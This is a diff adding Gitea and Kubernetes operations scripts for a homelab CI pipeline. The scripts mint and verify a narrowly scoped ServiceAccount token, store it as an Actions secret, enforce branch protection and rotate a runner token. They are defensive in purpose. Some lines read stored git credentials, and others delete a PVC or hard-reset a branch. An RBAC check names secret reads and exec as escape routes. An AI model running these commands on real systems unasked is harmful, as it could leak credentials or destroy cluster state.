+  --dry-run                 measure every precondition; mint nothing, write nothing (read-only)
+  --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
+  --server URL              API server URL to embed (default: the operator context's own;
+                            must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
+  --context NAME            kube context to read the CA/server from (default: k3s-prod)
+  --duration D              requested token lifetime (default: 720h)
+  -h | --help               this text
+
+Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
+mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
+USAGE
+}
+
+while [ $# -gt 0 ]; do
+  case "$1" in
+    --dry-run)               DRY_RUN=true ;;
+    --arm-cluster-available) ARM=true ;;
+    --server)                SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
+    --context)               KCTX="${2:?--context needs a name}"; shift ;;
+    --duration)              DURATION="${2:?--duration needs a value}"; shift ;;
+    -h|--help)               usage; exit 0 ;;
+    *)                       die "unknown argument: $1 (try --help)" ;;
+  esac
+  shift
+done
+if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
+
+for t in kubectl jq curl git base64; do
+  command -v "$t" >/dev/null || die "missing required tool: $t"
+done
+
+WORK="$(mktemp -d)"
+KC="${WORK}/conformance-trigger.kubeconfig"
+cleanup() { rm -rf "$WORK"; }
+trap cleanup EXIT
+trap 'cleanup; exit 130' INT TERM
+
+# ========================================================================================
+# 0. Gitea credentials — from the credential helper git already has for this host, exactly
+#    as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
+#    reads them from a --config file descriptor.
+# ========================================================================================
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"
+P="$(sed -n 's/^password=//p' <<<"$creds")"
+unset creds
+[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
+
+# ========================================================================================
+# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
+#    Two independent tallies, per the split documented in the header.
+# ========================================================================================
+MINT_FAIL=0
+ARM_FAIL=0
+pass()      { printf '    [ ok ]   %s\n' "$*"; }
+fail_mint() { printf '    [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
+fail_arm()  { printf '    [ARM-BLOCK]  %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
+
+step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
+
+kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
+  || die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
+pass "API server reachable via context ${KCTX}"
+
+# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
+# clusters/base/conformance.yaml). We print object names only, never contents.
+if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
+  pass "ServiceAccount ${NS}/${SA} exists"
+else
+  fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
+fi
+for kind in role rolebinding; do
+  if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
+    pass "${kind} ${NS}/${SA} exists"
+  else
+    fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
+  fi
+done
+
+# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
+# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
+if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
+  action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
+  failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
+  # Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
+  # treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
+  ready="$(jq -r '
+      if (.status.ready != null) then (.status.ready | tostring)
+      elif (.status.conditions != null) then
+        ((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
+      else "UNKNOWN" end' <<<"$pol")"
+  info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
+  [ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
+  [ "$failpol" = "Fail" ]   || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
+  case "$ready" in
+    true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
+    *)         fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
+  esac
+else
+  fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
+fi
+
+step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
+
+# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
+# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
+VERSIONS="${REPO_ROOT}/conformance/versions.env"
+if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
+  pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
+else
+  fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
+fi
+
+# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
+# init-container that populates the empty `workspace` volume with the suite at the PR SHA
+# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
+JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
+if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
+else
+  fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
+fi
+if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
+else
+  fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
+fi
+
+# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
+# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
+# the CI job — where there is no credential at all (the runner sets
+# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
+# check must ignore comment lines: a mention in prose is not an implementation.
+#
+# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
+# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
+# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
+CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
+if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
+     "$CONF_STAGE" 2>/dev/null; then
+  pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
+else
+  fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
+fi
+
+info ""
+info "precondition tally: mint-blocking failures=${MINT_FAIL}  arm-blocking failures=${ARM_FAIL}"
+
+if [ "$MINT_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
+
+Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
+an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
+namespaces/patch) with an arbitrary command. That is precisely the escalation
+docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
+
+Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
+confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
+EOF
+  exit 1
+fi
+
+if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
+
+Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
+scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
+"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
+guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
+enable L2/L3: it breaks every PR while proving nothing.
+
+Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
+secret in the meantime — that part is safe and is step 6's intended order.
+EOF
+  exit 1
+fi
+
+if $DRY_RUN; then
+  step "DRY RUN — stopping here. Nothing was minted, nothing was written."
+  info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
+  info "variable that WOULD be set:   none — ${VARIABLE} is never touched in --dry-run"
+  # Read-only visibility into what is already there. Gitea never returns secret VALUES.
+  names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
+  info "existing Actions secret names: ${names:-<unreadable>}"
+  cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
+  if [ "$cur" = 200 ]; then
+    info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
+  else
+    info "existing ${VARIABLE}: not set (HTTP ${cur})"
+  fi
+  exit 0
+fi
+
+# ========================================================================================
+# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
+#    against the cluster, and it creates no durable object.
+# ========================================================================================
+step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
+TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
+  || die "kubectl create token failed for ${NS}/${SA}"
+[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
+info "got a ${#TOKEN}-character token (value NOT shown)"
+
+# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
+# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
+jwt_exp() {
+  local payload pad b64
+  payload="$(cut -d. -f2 <<<"$1")"
+  pad=$(( (4 - ${#payload} % 4) % 4 ))
+  b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
+  printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
+}
+exp="$(jwt_exp "$TOKEN")"
+if [ -n "$exp" ]; then
+  info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
+else
+  warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
+fi
+
+# ========================================================================================
+# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
+#
+#    The CA and the server URL are read from the operator's context, but the operator's
+#    client certificate/key are NEVER copied: only .cluster fields are extracted. `config
+#    view --raw` output is held in a variable and discarded, never printed.
+#    Built with jq (not `kubectl config set-credentials --token=…`) so the token never
+#    appears in argv where `ps` can see it.
+# ========================================================================================
+step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
+raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
+  || die "could not read context '${KCTX}' from the operator kubeconfig"
+SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
+CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
+CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
+INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
+unset raw
+
+[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
+if [ -n "$SERVER_OVERRIDE" ]; then
+  info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
+  SERVER="$SERVER_OVERRIDE"
+fi
+case "$SERVER" in
+  *localhost*|*127.0.0.1*|*://0.0.0.0*)
+    die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
+esac
+if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
+  [ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
+  CADATA="$(base64 -w0 <"$CAFILE")"
+fi
+[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
+[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
+info "server: ${SERVER}"
+info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
+
+jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
+{
+  apiVersion: "v1",
+  kind: "Config",
+  clusters:  [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
+  users:     [ { name: $sa, user: { token: $tok } } ],
+  contexts:  [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
+  "current-context": "conformance"
+}' >"$KC"
+chmod 600 "$KC"
+info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
+
+# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
+# than assume it) — this prints only the server we already printed.
+parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
+  || die "kubectl cannot parse the generated kubeconfig"
+[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
+pass "kubectl parses the generated kubeconfig"
+
+# ========================================================================================
+# 4. PROVE it is the narrow identity. Two independent proofs:
+#      a) who the token authenticates AS (SelfSubjectReview)
+#      b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
+#         jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
+#         something wider that happens to include the trigger rights.
+#    All read-only. `auth can-i` answers from the API server's own authorizer.
+# ========================================================================================
+step "verifying the credential is the NARROW trigger identity"
+EXPECT_USER="system:serviceaccount:${NS}:${SA}"
+if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
+  [ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
+  pass "authenticates as ${who}"
+else
+  warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
+fi
+
+# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
+kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
+  || die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
+pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
+
+cani() { # cani <expected yes|no> <verb> <resource...>
+  local want="$1"; shift
+  local got
+  got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
+  case "$got" in
+    yes|no) : ;;
+    *) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
+  esac
+  if [ "$got" = "$want" ]; then
+    pass "can-i $* -> ${got} (expected)"
+  else
+    die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
+  fi
+}
+# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
+cani yes create jobs.batch -n "$NS"
+cani yes get    pods       -n "$NS"
+cani yes get    pods/log   -n "$NS"
+# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
+cani no  delete jobs.batch -n "$NS"          # a trigger that can delete can hide a failed run
+cani no  create pods/exec  -n "$NS"          # no execution channel into the runner pod
+cani no  get    secrets    -n "$NS"
+cani no  create jobs.batch -n default        # namespaced Role: no reach outside ns conformance
+cani no  get    nodes                        # the RUNNER has nodes/patch; the trigger must not
+cani no  '*' '*' --all-namespaces            # not cluster-admin, stated as a measurement
+
+# ========================================================================================
+# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
+#    The body goes in a 0600 file so the token is not in argv.
+# ========================================================================================
+step "storing the kubeconfig as repo Actions secret ${SECRET}"
+jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
+chmod 600 "${WORK}/body.json"
+code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
+          -H 'Content-Type: application/json' --data @"${WORK}/body.json" \
+          "${API}/actions/secrets/${SECRET}")"
+unset TOKEN
+rm -f "${WORK}/body.json" "$KC"
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  # Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
+  # "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
+  die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
+fi
+info "PUT returned HTTP ${code}"
+
+# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
+# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
+# PRESENCE BY NAME only — say so rather than implying the content was checked.
+names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
+pass "stored and VERIFIED PRESENT by read-back: ${names}"
+info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
+info " is proven only by the first CI run that uses it — see the NOTE below.)"
+info ""
+info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
+info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
+info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
+info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
+info "kubeconfig cannot reach CI any other way."
+
+# ========================================================================================
+# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
+# ========================================================================================
+if ! $ARM; then
+  cat <<EOF
+
+==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
+
+The secret is in place; the conformance job stays gated off until the variable is set. That
+is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
+EOF
+else
+  step "arming vars.${VARIABLE}=true — every precondition above is green"
+  cat <<EOF
+    This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
+    in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
+    fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
+      curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
+EOF
+  [ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
+  printf '    Type exactly "ARM %s" to proceed: ' "$VARIABLE"
+  read -r confirm
+  [ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
+
+  # Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
+  # `data` as in the secrets API above. Try create, fall back to update. The value "true" is
+  # not a secret, so response bodies are printed here to make a failure diagnosable.
+  vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
+             -H 'Content-Type: application/json' --data '{"value":"true"}' \
+             "${API}/actions/variables/${VARIABLE}")"
+  if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
+    info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
+    vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
+               -H 'Content-Type: application/json' \
+               --data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
+               "${API}/actions/variables/${VARIABLE}")"
+  fi
+  [ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
+    || die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
+  info "write returned HTTP ${vcode}"
+
+  # Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
+  # gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
+  gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
+  [ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
+  val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
+  [ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
+  pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
+fi
+
+cat <<EOF
+
+NEXT — and none of it is proven until you watch it happen:
+  1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
+     reports success ("Has been skipped"), and a green tick is not evidence anything ran.
+  2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
+     artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
+  3. Only after seeing BOTH directions should the conformance check be added to branch
+     protection (infra/gitea/require-gate.sh's status_check_contexts).
+  4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
+     (401 on the trigger) rather than skipping when it lapses.
+
+ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
+DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
+ServiceAccount, which Flux will recreate with a fresh identity.
+EOF

infra/gitea/expected-branch-protection.json

@@ -0,0 +1,20 @@
+{
+  "_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
+  "_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
+  "branch": "main",
+  "runners_online_min": 1,
+  "protection": {
+    "enable_push": false,
+    "enable_push_whitelist": false,
+    "enable_merge_whitelist": false,
+    "enable_status_check": true,
+    "status_check_contexts": [
+      "gate / gate (pull_request)"
+    ],
+    "required_approvals": 1,
+    "enable_approvals_whitelist": false,
+    "block_admin_merge_override": true,
+    "block_on_rejected_reviews": true,
+    "dismiss_stale_approvals": true
+  }
+}

infra/gitea/require-gate.sh

@@ -0,0 +1,60 @@
+#!/usr/bin/env bash
+# Items 1 + 2: make the gate a REQUIRED status check and require one approval.
+#
+# RUN THIS LAST. Prerequisites, in order:
+#   a) PR #7 (dind native sidecar) is MERGED, and
+#   b) you have SEEN a real workflow run go green on the converted pod.
+# The runner Deployment is the merge gate for the whole repo. Turning on a required check
+# while the runner is broken means no PR can merge -- including the revert. (Recoverable:
+# an owner can set enable_status_check back to false. But do not rely on that.)
+#
+# Requires exactly ONE context: `gate / gate (pull_request)`.
+#   * NOT `gate / conformance (*)` -- that job is `if: false`, and a skipped Gitea job reports
+#     SUCCESS ("Has been skipped"). Requiring it would pass VACUOUSLY forever while nothing
+#     ran, which under HARD RULE 4 is worse than a deadlock: a deadlock is loud.
+# block_admin_merge_override: true is LOAD-BEARING and was missing on the first pass. Gitea
+# lets repo admins override merge requirements without it, so required_approvals and the
+# required status check are both bypassable by exactly the account that does the merging.
+# Measured: PRs #5-#9 merged with ZERO approvals recorded against required_approvals: 1.
+#
+# FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins`. Asking jq for it returns null,
+# which reads like "false" but means "key absent" -- enumerate real keys with `to_entries`
+# instead of probing names you assume exist. That mistake cost a wasted PATCH.
+#
+#   * NOT the `(push)` variant -- after PR #6 there are no per-branch push runs at all, so a
+#     PR would never produce that context.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+echo "==> updating branch protection on main"
+jq -n '{
+  enable_push: false,
+  enable_status_check: true,
+  status_check_contexts: ["gate / gate (pull_request)"],
+  required_approvals: 1,
+  block_on_rejected_reviews: true,
+  dismiss_stale_approvals: true,
+  block_on_outdated_branch: false,
+  block_admin_merge_override: true
+}' | api -X PATCH -H 'Content-Type: application/json' --data @- \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main" >/dev/null
+
+echo "==> verifying"
+api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
+ | jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'
+
+cat <<'NOTE'
+
+NOTE ON required_approvals: 1 -- Gitea will not let an author approve their own PR.
+  * Agent-opened PRs (author gitea-admin) are approved by jakman85. Fine.
+  * PRs YOU open as jakman85 need gitea-admin to approve. If that is awkward, either open
+    agent work as gitea-admin and review as jakman85, or set required_approvals back to 0
+    and rely on the status check alone.
+
+Then prove it, rather than trusting the API:
+  git commit --allow-empty -m probe && git push origin main   # EXPECT: rejected
+  git reset --hard HEAD~1
+NOTE

infra/gitea/runner-token-rotate.sh

@@ -0,0 +1,61 @@
+#!/usr/bin/env bash
+# Mint a fresh Gitea Actions registration token and write it into the SOPS secret.
+#
+# The token value is NEVER printed. It goes from the Gitea API into `sops set` and
+# nowhere else. (It is briefly visible in this host's process list as a sops argument;
+# acceptable on a single-operator workstation, and far better than echoing it.)
+#
+# This ALONE may not bring the runner back -- see "IMPORTANT" at the end of the output.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev
+SECRET=apps/wave-1/gitea-actions-runner-secret.sops.yaml
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+cd "$REPO_ROOT"
+[ -f "$SECRET" ] || { echo "not in the repo root, or $SECRET is missing" >&2; exit 1; }
+
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"
+P="$(sed -n 's/^password=//p' <<<"$creds")"
+[ -n "$U" ] && [ -n "$P" ] || { echo "no stored git credential for $HOST" >&2; exit 1; }
+echo "==> minting an instance-level registration token as '${U}'"
+
+TOKEN="$(curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") \
+  "https://${HOST}/api/v1/admin/runners/registration-token" | jq -r '.token // empty')"
+[ -n "$TOKEN" ] || { echo "Gitea did not return a token" >&2; exit 1; }
+echo "==> got a ${#TOKEN}-character token (value not shown)"
+
+echo "==> writing it into ${SECRET} via sops"
+DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run \
+  sops set "$SECRET" '["stringData"]["token"]' "\"${TOKEN}\""
+unset TOKEN
+
+echo "==> done. Verify the file is still encrypted (no plaintext token):"
+grep -q 'ENC\[' "$SECRET" && echo "    OK - stringData is still SOPS-encrypted" \
+  || { echo "    REFUSING TO CONTINUE: $SECRET is not encrypted" >&2; exit 1; }
+
+cat <<'NOTE'
+
+Next: commit this on a branch, open a PR, and merge it so Flux applies the new Secret.
+
+IMPORTANT -- a new token is usually NOT sufficient on its own.
+act_runner registers exactly ONCE and then persists its identity in /data/.runner on the
+act-runner-data PVC. If Gitea no longer has a matching runner row (DB restore, the row was
+deleted, the instance was rebuilt), the pod starts, sees .runner, SKIPS registration, and
+polls with an identity Gitea does not recognise -- so it never appears in the runner list,
+which is exactly the observed symptom (zero runners, pod running).
+
+So after the Secret lands, force a genuine re-registration by clearing that state:
+
+    kubectl --context k3s-prod -n gitea-actions scale deploy/act-runner --replicas=0
+    kubectl --context k3s-prod -n gitea-actions delete pvc act-runner-data
+    kubectl --context k3s-prod -n gitea-actions scale deploy/act-runner --replicas=1
+
+(The PVC holds only runner registration state -- no build artifacts, nothing durable.
+Deleting it is the supported way to re-register. Flux recreates it from the manifest.)
+
+Then confirm it actually registered -- do not assume:
+
+    curl -s -u '<user>' https://gitea.home.keithjackson.dev/api/v1/admin/actions/runners | jq
+
+A runner must appear with status "online" and the labels ubuntu-latest / homelab.
+NOTE

infra/gitea/set-ci-token.sh

@@ -0,0 +1,56 @@
+#!/usr/bin/env bash
+# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
+# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
+#
+# The token value is NEVER printed. It goes from the token API into the secrets API and
+# nowhere else -- not to stdout, not to a file, not into an agent transcript.
+#
+# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
+# runner list). Gitea token scopes are coarse; grant the least that works on your version and
+# confirm the check goes green rather than assuming the scope name.
+set -euo pipefail
